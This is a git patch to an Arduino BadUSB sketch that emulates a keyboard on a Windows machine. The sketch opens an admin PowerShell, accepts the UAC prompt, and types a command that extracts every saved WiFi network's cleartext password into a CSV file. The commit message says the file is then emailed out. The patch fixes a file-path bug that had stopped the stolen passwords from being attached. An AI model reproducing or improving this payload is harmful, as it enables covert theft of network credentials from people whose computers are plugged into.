From 2bcfd8a68be834f730e53cd122ec95ea77756853 Mon Sep 17 00:00:00 2001 From: Kyle Mohr Date: Tue, 23 Mar 2021 14:34:45 -0500 Subject: [PATCH] Update WiFi_Profile_Mailer_New.ino The current code causes a Powershell error that causes 'temp.csv' to never get attached to the email. This is because the first PS line saves temp.csv to the user's home directory, whereas the second PS line tries to attach temp.csv from the system32 folder. I changed the first line to instead save it to system32, which is the default path for an admin Powershell session. --- WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino b/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino index 60dd26e..fc72b1e 100644 --- a/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino +++ b/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino @@ -19,7 +19,7 @@ void loop() { DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); DigiKeyboard.delay(500); - DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit")); + DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit")); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(3000); DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);